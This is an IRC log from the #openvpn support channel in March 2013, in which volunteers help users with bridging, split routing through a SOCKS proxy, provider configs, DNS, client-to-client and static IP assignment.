11:48 < pekster> Think of it like a switch, becuase that's what you have when you bridge
11:49 < pekster> So no, you don't need to enable L3 forwarding whwen you've create an L2 device. Maybe your firewall interferes with it, in which case you need to go fix your firewall
11:50 < n00> Okay, thank you very much for your help, I really appreciate it! Have a nice day :)
11:50 < n00> I will probably be back ;)
11:51 -!- n00 [~n00@130.225.74.204] has quit []
11:55 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
12:00 -!- _d4vid [~stern@pdpc/supporter/student/d4vid] has joined #openvpn
12:00 < _d4vid> hello all
12:04 < _d4vid> i have a question ..
12:04 < _d4vid> my english is not so good
12:04 < _d4vid> can anyone speak russian or german?
12:05 < Azrael_-> <- ger, but i'm just a starter
12:06 < _d4vid> also mein wunsch ist .. dat ich an geschwindigkeit von meinem isp nicht verliere deswegen wollte ich es irgendwie auf youtube und zatto und paar andere seiten begrenzen damit fuer die der traffik ueber vpn lauft und restliche ueber meinen isp
12:08 < _d4vid> ich habe was im google gefunden z.b. wie  split routing
12:08 < _d4vid> ich habe aber davon wenig ahnung
12:17 -!- master_of_master [~master_of@p4FF24B3D.dip.t-dialin.net] has joined #openvpn
12:17 < MacGyver> _d4vid: Ist es okay auf Englisch zu antworten?
12:18 < _d4vid> ok sorry
12:18 < MacGyver> _d4vid: Don't apologize.
12:18 < MacGyver> _d4vid: My German isn't good enough to answer you in German.
12:19 < MacGyver> _d4vid: But what you need, if I understand your problem correctly, is to add routes for traffic to youtube, zatto and the other sites to go through the VPN, the tun0-device, but leave all other routes untouched.
12:19 < _d4vid> moment i try it to translate with google..
12:20 -!- master_o1_master [~master_of@p4FF24C6C.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
12:20 < MacGyver> Everyone else who doesn't speak German: He wants to keep the speed his ISP gives him, and therefore he *only* wants youtube, zatto and a few other sites to go through the VPN.
12:20 < _d4vid> yes that corerrect )
12:21 < MacGyver> I don't know if it's easy or even possible to do this, since youtube has a lot of different addresses... Someone else will have to comment on that.
12:22 < _d4vid> ok
12:23 < JacquesBH> Guys, last hour I found a solution to purpose to use my VPN for Internet forward only... now I want to use the VPN for a network drive... I searched but maybe I do not use the good words...
12:23  * ecrist returns
12:25 <@krzee> JacquesBH,
12:25 <@krzee> network drive is on a machine in server lan? client lan? the server itself?  a client itself?
12:26 < JacquesBH> krzee: the server itself
12:27 <@krzee> you dont need to do anything except allow them to reach the share by VPN ip
12:27 < JacquesBH> hum... howto do that?
12:28 <@krzee> unrelated to openvpn
12:28 <@krzee> you only want a client to access the drive, right?
12:29 < JacquesBH> hum right
12:29 < JacquesBH> (sorry i'm on tel... -_-)
12:29 <@krzee> so just connect to the share on the servers vpn ip
12:33 <@EugeneKay> _d4vid - You can kind of do what you want if you use two browsers. Set one up to use a SOCKS proxy via the VPN, and just browse the internet normally with the other.
12:33 <@EugeneKay> !routebyapp
12:33 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
12:36 < _d4vid> thanks how do i set that traffic dont use all
12:36 <@EugeneKay> Just use the right web browser for the site you want ;-)
12:37 < JacquesBH> krzee: I think I need to install something like samba on the server, right?
12:37 <@ecrist> or you can use Fuse with SSHFS
12:37 <@krzee> samba needs to listen on the vpn ip
12:38 <@krzee> whether or not that requires configuring samba is for you to know
12:38 < pekster> _d4vid: Browser plugins like "FoxyProxy" for Firefox can use a proxy for specific URLs. You can configure that plugin to send your youtube and other URLs to that proxy and let normal web traffic go out your ISP
12:38 < _d4vid> EugeneKay, so i connect to openvpn and i have all traffic over my eth0 its set automaticly
12:38 < JacquesBH> ecrist: but my collegues are on Windows.. :')
12:39 <@EugeneKay> _d4vid - no; you don't do that at all. Have just one browser connect to a SOCKS proxy via the VPN.
12:39 <@EugeneKay> Everything else goes normally
12:39 <@ecrist> JacquesBH: samba is pretty simple
12:39 < _d4vid> but what i need to change in client config of openvpn?
12:39 <@EugeneKay> You would set up a basic config that just provides networking
12:39 <@EugeneKay> No routing etc
12:43 < _d4vid> EugeneKay, u mean like this howto? http://www.niteoweb.com/blog/openvpn-over-ssh
12:43 <@vpnHelper> Title: OpenVPN over SSH — NiteoWeb Ltd. (at www.niteoweb.com)
12:43 <@EugeneKay> Nope.
12:43 <@EugeneKay> Just the basic minimum configuration needed for openvpn's networking
12:48 < _d4vid> ssh -D 127.0.0.1:8080 username ?
12:48 <@EugeneKay> openvpn config, not SSH ;-)
12:48 <@EugeneKay> Just follow the openvpn howto to the point where you can ping the VPN IP of each end
12:56 < _d4vid> openvpn server config or client?
12:57 < _d4vid> but i dont have any rights of openvpn server
13:00 <@ecrist> we can only help server admins, generally
13:01 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has joined #openvpn
13:01 < sanfran> i'm on Debian, trying to set up privateinternetaccess, stuck on step 7 https://www.privateinternetaccess.com/pages/client-support/#ubuntu_openvpn
13:01 <@vpnHelper> Title: Client Support Area | Private Internet Access VPN Service (at www.privateinternetaccess.com)
13:02 < pekster> !provider
13:02 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
13:02 < sanfran> my problem is understanding and using the program openvpn.
13:03 < pekster> Not if you're trying to follow directions telling you to use network manager
13:03 < pekster> !netman
13:03 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
13:03 <@ecrist> !ubuntu
13:03 <@vpnHelper> "ubuntu" is dont use network manager!
13:03 < pekster> Ah, I like that one better :)
13:04 <@ecrist> that is one of the oldest factoids in the database
13:04 < sanfran> pekster: could *you* talk to me?
13:04 < pekster> I don't deal with network manager for openvpn. I tried it once years ago and it failed miserably at what I wanted it to do
13:05 < sanfran> pekster: great. what do you use?
13:05 < pekster> /usr/sbin/openvpn
13:05 < sanfran> indeed, that's what i'm trying to use.
13:05 <@ecrist> factoid #28 out of 341 current factoids
13:05 < sanfran> as i said before.
13:06 <@ecrist> sanfran: did privateinternetaccess provide you with an openvpn config?
13:06 -!- _d4vid [~stern@pdpc/supporter/student/d4vid] has left #openvpn ["http://incloak.com"]
13:07  * sanfran checks for this...
13:07 < sanfran> i have lots of .ovpn files
13:08 < sanfran> i'm assuming it want East.ovpn since I'm in New England?
13:10 <@ecrist> try any of them with a simple:  openvpn --config <file>
13:13 < sanfran> i'm so close now :) but OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables
13:14 <@ecrist> pastebin the config, minus any certificates within
13:17 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
13:19 < sanfran> http://pastebin.com/6UZvgY8j
13:20 <@ecrist> pastebin your client log, pleas
13:20 <@ecrist> the script-security thing is just a warning
13:21 < sanfran> where is that log?
13:21 < pekster> You'll want a lot at more than 'verb 1'
13:21 < pekster> Make that 'verb 4' or add --verb 4 after the --config command-line
13:21 < pekster> log at*
13:22 <@ecrist> so, openvpn --config <file> --verb 4 --log /tmp/foo.log
13:23 <@ecrist> then your log will be in /tmp/foo.log
13:23 <@ecrist> feel free to look here, too
13:23 <@ecrist> !man
13:23 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
13:32 < sanfran> Fri Mar  8 14:32:54 2013 us=792461 Cannot load CA certificate file ca.crt path (null) (SSL_CTX_load_verify_locations): error:02001002:system library:fopen:No such file or direc$
13:33 < sanfran> it's becuase i moved it as su, isn't it?
13:34 <@ecrist> I asked for the entire log, but, the ca.crt file isn't where it's supposed to be according to the config
13:35 < sanfran> that's the only error, i thought i'd save you the time.
13:35 <@ecrist> usually people think that and they're wrong
13:35 <@ecrist> like your comment about script-security above
13:37 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Quit: nand]
13:37 < sanfran> we'll i changed the config to reflect the certs location in /etc/openvpn, seemed like it would work, but now there are new errors. shall i pastebin that log?
13:38 <@ecrist> yes
13:38 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
13:39 -!- levifig [~levifig@spwn.co] has joined #openvpn
13:39 -!- Porkepix [~Porkepix@157.138.190.113] has quit [Ping timeout: 248 seconds]
13:39 < sanfran> http://pastebin.com/gJjThXT8
13:40 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
13:41 <@ecrist> are you running this as root?
13:41 -!- zz_AsadH is now known as AsadH
13:41 < sanfran> no.
13:41 <@ecrist> you need to
13:42 < sanfran> XD
13:42 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
13:46 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has quit [Ping timeout: 248 seconds]
13:46 <@ecrist> his VPN must have fired up
13:49 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Quit: Computer has gone to sleep.]
13:50 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has joined #openvpn
13:50 < sanfran> did ya'll get any of that?
13:50 < sanfran> it seemed to work, at least, it didn't complain. but i couldn't access the internet.
13:51 <@ecrist> log?
13:51  * sanfran facepalm
13:51 < sanfran> look, i'm missing something simple. perhaps the order of connecting?
13:53 < sanfran> http://pastebin.com/qmyufz7Z
13:53 -!- sanfran_ [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has joined #openvpn
13:53 < pekster> How did you test Internet access? If you didn't try a ping by IP you might be loosing DNS requests as some ISPs only accept requests from inside clients
13:53 < pekster> Also, that log is not a 'verb 4' and will be of somewhat limited use
13:54 < sanfran> yea, i just tried to go to google.com
13:54 <@ecrist> try pinging 8.8.8.8 or something
13:54 < sanfran> apparently i'm here now too.
13:54 <@ecrist> 13:46:29 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has quit [Ping timeout: 248 seconds]
13:54 <@ecrist> 13:46:41 <@ecrist> his VPN must have fired up
13:55 < sanfran> so, do everything again?
13:55 < sanfran> am i just not being pateint enough?
13:56 < pekster> See my DNS comment above. Provide logs at 'verb 4' if you want more useful information, since it's likely everything is working "just fine" on the VPN, although without knowing things like keepalive status it's hard to even say that
13:57 < sanfran> here goes.
13:58 -!- sanfran__ [~sanfran@216.155.131.76] has joined #openvpn
13:59 < sanfran__> how ya like meh now?
13:59 <@ecrist> ah, looks like you got it running
13:59 < sanfran__> pinging 8.8.8.8 returns fine.
13:59 < sanfran__> how can *you* tell?
14:00 < sanfran__> or are you just guessing by the obscure host?
14:00 < pekster> s/obscure/different/
14:00 <@ecrist> you used to connect from 209.6.38.16 and now you're coming from 216.155.131.76
14:00 < sanfran__> yay
14:00 < sanfran__> but... how to browse the web?
14:00 -!- sanfran_ [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has quit [Read error: Operation timed out]
14:00 -!- sanfran_ [~sanfran@216.155.131.76] has joined #openvpn
14:00 < pekster> Fix your DNS?
14:01 < sanfran__> o, let me kill that. so, i think i'm getting it: i can do things in the tunnel and outside the tunnel?
14:01 < pekster> Not having seen your logs, I have no clue if your peer is pushing DNS options, bug:
14:01 < pekster> !pushdns
14:01 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:01 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:01 < pekster> but* (not bug)
14:01 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has quit [Read error: Operation timed out]
14:01 -!- sanfran_ [~sanfran@216.155.131.76] has quit [Client Quit]
14:01 -!- sanfran [~sanfran@216.155.131.76] has joined #openvpn
14:01 -!- sanfran [~sanfran@216.155.131.76] has quit [Client Quit]
14:02 < pekster> #4 on that output applies to Linux/Unix systems
14:04 < sanfran__> so, connections that were initiated before the tunnel are outside the tunnel? meaning i could appear to be looking at only cats, but really be looking at cats and dogs?
14:04 -!- sanfran__ is now known as sanfran
14:06 < pekster> No, routing is done per-packet, not per connection
14:06 <@ecrist> connections outside the tunnel will die
14:07 < sanfran> thanks that makes perfect sense.
14:08 < sanfran> i'm still not convinced that my web browser is working right. it seems to know i'm in Boston.
14:08 <@ecrist> go here: http://www.secure-computing.net/ip.php
14:08 <@vpnHelper> Title: SCN: SCN (at www.secure-computing.net)
14:08 <@ecrist> both with teh VPN connected and with it disconnected
14:09 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
14:09 -!- Porkepix [~Porkepix@157.138.190.113] has joined #openvpn
14:09 <@ecrist> also, keep in mind location data may be saved in a cookie in your browser, and not based on your IP
14:12 -!- sanfran [~sanfran@216.155.131.76] has quit [Read error: Operation timed out]
14:13 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
14:13 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has joined #openvpn
14:14 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
14:15 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has joined #openvpn
14:15 < sanfran> the ip does change. but google can still answer "where am i?" with my actual location. what gives?
14:15 <@ecrist> also, keep in mind location data may be saved in a cookie in your browser, and not based on your IP
14:16 < sanfran> yea, snitching. where is that little ba^&*d?
14:16 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:17 < pekster> Google's probably smart enough to use a one-time-use subdomain DNS request to aat least return the general area where your DNS server is located too
14:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:17 < pekster> You can use a public DNS such as 8.8.8.8 for google's open resolvers
14:18 < pekster> I suspect that's more likely than google using an old cookie to list where you "used" to appear from when you ask it to find your location now
14:18 -!- Devastator [~devas@186.214.110.30] has joined #openvpn
14:19 < sanfran> pekster: it's just smart enough to know that i didn't move to Sweden, or wherever, in less than a minute?
14:20 < pekster> WolframAlpha shows me as connecting from VA, US across my SOCKS proxy at AWS across my VPN hosted on my cloud system
14:20 < pekster> I think it's just keying off the IP, although I do redirect my DNS requests through the proxy in that setup
14:21 < sanfran> 0.o
14:21 < pekster> Google gets more confused, apparently
14:22 < pekster> Despite the IP coming from VA, US (for the US East AWS host) it answers the question "Where am I" with LA, CA, US
14:22 < pekster> heh
14:22 < pekster> I'm going to award the better answer in that case to WolframAlpha
14:24 < sanfran> that is weird?
14:24 < sanfran> nix that question mark
14:26 < pekster> For more fun on how easy your browser is to uniquely fingerprint, check out https://panopticlick.eff.org
14:26 <@vpnHelper> Title: Panopticlick (at panopticlick.eff.org)
14:30 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
14:31 < sanfran> Thanks ya'll. just one more question: am i using SSH here, and if not, where can i read more about doing so?
14:31 < pekster> I don't understand the context for your question. SSH is its own protocol, just like IRC or OpenVPN
14:32 -!- dazo is now known as dazo_afk
14:32 < sanfran> okay, which port am i tunneling through? does that make sense?
14:33  * sanfran needs education
14:33 < pekster> OpenVPN uses port 1194 by convention (and the config file you pasted earlier does indeed use that.) UDP is the default, although OpenVPN can also operate over TCP. It can use any port you want
14:34 < pekster> See the --port and --proto options in the manpage for more info
14:36 < sanfran> cool. i need to change that then, as i often connect at cafes
14:36 < pekster> That should work fine from a wifi cafe
14:36 < pekster> Why would you need to change it?
14:38 < sanfran> I thought most places would only allow 80.
14:39 < sanfran> Like, there's one place that has OpenDNS set up with a parental control.
14:39 < pekster> That doesn't mean they do port-based filtering. Most "public" wifi hotspots allow almost anything outbound. Some restrict ports like 25 due to mail spam, but otherwise they're pretty open
14:40 < pekster> If you don't control the server, you can't just "change" the port
14:40 < sanfran> The VPN server, you mean?
14:40 < pekster> Right
14:41 < sanfran> okay
14:41  * sanfran changes it back
14:41 < pekster> You don't want tcp anyway unless you need it:
14:41 < pekster> !tcp
14:42 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
14:43 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
14:46 -!- sanfran_ [~sanfran@108-61-59-19ch.openskytelcom.net] has joined #openvpn
14:48 < sanfran_> lol "Sayreville"
14:48 -!- sanfran [~sanfran@209-6-38-16.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com] has quit [Ping timeout: 245 seconds]
14:59 -!- JSharpe [~JSharpe@46.165.221.13] has quit [Quit: Leaving]
15:11 -!- JacquesBH [~jacques@unaffiliated/jacquesbh] has quit [Remote host closed the connection]
15:17 -!- Orbi [~opera@anon-184-33.vpn.ipredator.se] has joined #openvpn
15:26 -!- sanfran_ is now known as sanfran
15:35 -!- wykydtro- is now known as wykydtron
15:41 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0/20130215130331]]
16:12 -!- Orbi [~opera@anon-184-33.vpn.ipredator.se] has quit [Ping timeout: 245 seconds]
16:12 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:18 -!- zhvtar is now known as abowman
16:21 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
16:36 -!- no0 [~n00@82.211.217.207] has joined #openvpn
16:41 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
16:46 -!- Porkepix [~Porkepix@157.138.190.113] has quit [Quit: Computer has gone to sleep.]
16:49 -!- abowman is now known as zhvtar
16:51 < no0> Hey pekster, you there ? :)
16:54 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:55 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
17:01 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Ping timeout: 260 seconds]
17:11 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
17:15 -!- lmm [uid6417@gateway/web/irccloud.com/x-hunjxwmdptpgcgmf] has joined #openvpn
17:16 < lmm> hi, I have two clients connecting to a server. Both clients can ping the server, and the server can ping both clients, but the clients can't ping each other. What's the simplest way to make it so all clients see each other as being on the same network?
17:18 < no0> lmm: add the client-to-client setting?
17:18 < lmm> right, just "client-to-client" ?
17:18 < lmm> the howto only seems to cover the more complex case
17:19 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
17:20 < no0> i am quite new to the whole OpenVPN-thing, but try it :)
17:20 < lmm> am doing
17:24 -!- sanfran [~sanfran@108-61-59-19ch.openskytelcom.net] has quit [Ping timeout: 252 seconds]
17:24 < no0> !goal
17:24 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:25 < lmm> that looks good, the clients can ping each other
17:25 < no0> !help
17:25 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
17:25 < no0> !welcome
17:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
17:25 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:26 < no0> !topology
17:26 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
17:26 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
17:35 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:38 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
17:50 -!- kothog [~kothog@unaffiliated/kothog] has left #openvpn ["force"]
18:09 -!- AsadH is now known as zz_AsadH
18:14 < no0> !wiki
18:14 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
18:26 -!- zhvtar is now known as aaron
18:27 -!- aaron is now known as Guest15815
18:28 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:30 -!- Guest15815 [~zhvtar@unaffiliated/zhvtar] has left #openvpn []
18:32 < no0> Hi huys, anyone here have time for answering some bridge related questions?
18:34 < no0> *guys
18:37 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
18:41 -!- no0 [~n00@82.211.217.207] has quit []
18:43 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
18:45 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 248 seconds]
18:51 -!- md_5 [~md_5@mcdevs/trusted/md-5] has joined #openvpn
18:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
18:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
18:58 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
19:06 -!- kantlivelong [~kantlivel@47.23.189.90] has quit [Ping timeout: 245 seconds]
19:15 < lmm> don't ask to ask, just ask
19:17 -!- raidz is now known as raidz_away
19:20 <@ecrist> !ask
19:20 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
19:21 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
19:44 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Ping timeout: 276 seconds]
20:30 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
20:39 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
20:47 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
20:53 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 245 seconds]
20:55 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
21:08 -!- Devastator- [~devas@186.214.110.30] has joined #openvpn
21:08 -!- Devastator [~devas@186.214.110.30] has quit [Read error: Connection reset by peer]
21:27 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
21:27 -!- matsh [divine@nanogene.org] has joined #openvpn
21:42 < pekster> lmm: see below:
21:42 < pekster> !c2c
21:42 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
21:42 <@vpnHelper> behind other clients
21:49 < uberushaximus> !cqc
21:51 <@ecrist> !factoids
21:51 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
22:13 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 248 seconds]
22:15 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
22:31 -!- p3rror [~mezgani@41.140.30.221] has joined #openvpn
22:38 -!- p3rror [~mezgani@41.140.30.221] has left #openvpn ["Leaving"]
22:45 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
22:52 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
22:57 -!- maurer [maurer@terpsichore.ugcs.caltech.edu] has joined #openvpn
22:58 < maurer> Hey, I've got openvpn working, but I'd like to be able to get a client to have a set of ips (in this case forwarding an entire subnet)
22:58 < maurer> Is there a reasonable way to do this?
22:59 < pekster> maurer: you want to route a LAN to the client
22:59 < maurer> I mean, what I need is for the client machine to have x.y.z.1-254
23:00 < maurer> If routing a lan is the way to do that, then sure
23:00 < pekster> You can't do that with tun (since it's effectively a point-to-point interface.) In theory you could do that with tap
23:00 < pekster> Why on earth do you want that?
23:01 < maurer> Really dumb reasons.
23:01 < pekster> Then why do it? It's a very silly thing to want to do
23:03 < maurer> Is there any way to from the client config request a specific IP then?
23:05 < pekster> request one? No. You can have the client set one via the --ifconfig command. Or the server can push a static ip via --ifconfig-push. Note that in both of those cases you should avoid using an IP inside the --ifconfig-pool range (that directive is implied when you use --server or --server-bridge)
23:16 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 252 seconds]
23:22 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
--- Day changed Sat Mar 09 2013
00:23 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
00:25 -!- Wulf4 [~Wulf@unaffiliated/wulf] has joined #openvpn
00:29 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
00:50 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
00:50 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has left #openvpn []
01:16 -!- Wulf4 is now known as Wulf
01:26 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
01:42 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
02:19 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
02:21 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
02:24 -!- pa [~pa@unaffiliated/pa] has quit [Max SendQ exceeded]
02:24 -!- Varazir [~mircwars@c-94-255-130-47.cust.bredband2.com] has quit [Ping timeout: 276 seconds]
02:26 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
02:38 -!- maurer [maurer@terpsichore.ugcs.caltech.edu] has left #openvpn []
03:01 -!- Varazir [~mircwars@c-94-255-130-176.cust.bredband2.com] has joined #openvpn
03:02 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
03:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:23 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
03:28 -!- pa [~pa@unaffiliated/pa] has quit [Max SendQ exceeded]
03:30 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
03:32 -!- pa [~pa@unaffiliated/pa] has quit [Max SendQ exceeded]
03:34 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Ping timeout: 248 seconds]
03:41 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
03:50 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:00 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
04:08 -!- JSharpe [~JSharpe@46.165.208.207] has joined #openvpn
04:46 < jzaw> pls may i have some feedback / advice     if i have a routed home lan (all non rfc1918 ips ie 81.2.122.x/26)
04:46 < jzaw> do i have to have a separate subnet for the openvpn server ?    or can i use some of that /26
04:47 < jzaw> to be aware its almost entirely utilised except for some 10 consecutive ips
04:47 < jzaw> and being remote to it i cant split it cos machines would fall off t'tubes
05:32 -!- dxtr [4574b2ad@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
05:33 <@krzee> must use separate for --server
05:33 <@krzee> can use bi-directional NAT
05:44 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:05 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
06:08 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
06:33 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:35 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
06:35 -!- Denial- is now known as Denial
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
06:53 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Quit: ZNC - http://znc.in]
06:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:59 < MacGyver> jzaw: If you use OpenVPN in bridging mode you can use the /26 as though those machines were on your home network, provided no more than 10 clients connect, afaik.
